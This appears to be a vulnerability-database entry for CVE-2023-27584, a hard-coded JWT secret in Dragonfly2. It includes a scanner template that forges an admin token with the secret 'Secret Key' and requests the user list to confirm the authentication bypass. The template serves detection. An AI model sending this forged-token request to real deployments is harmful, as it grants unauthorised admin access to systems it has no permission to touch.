CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
id: CVE-2023-27584
info:
name: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
reference:
- https://github.com/advisories/GHSA-hpc8-7wpm-889w
- https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9
- https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w
- https://nvd.nist.gov/vuln/detail/cve-2023-27584
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27584
cwe-id: CWE-321
epss-score: 0.00043
epss-percentile: 0.09612
metadata:
max-request: 1
verified: true
tags: cve,cve2023,dragonfly,exposure,jwt,secret
variables:
orig_iat: '{{to_unix_time(unixtime())}}'
exp: '{{to_number(orig_iat)+4000 }}'
payload: '{"id":1,"exp":{{exp}},"orig_iat":{{orig_iat}}}'
http:
- raw:
- |
GET /api/v1/users HTTP/1.1
Host: {{Hostname}}
Cookie: jwt={{generate_jwt(payload,"HS256","Secret Key") }}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"id":'
- '"created_at":'
- '"updated_at":'
- '"state":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a00473045022100e4b819d5cade94bf0a95555a4ac8080794764a135fd9582fe54aaa53065dd243022019d9830a4e13cbcc106beadceb0e25d7d5a5f8be393671bdc6881a74f7735ab4:922c64590222798bb761d5b6d8e72950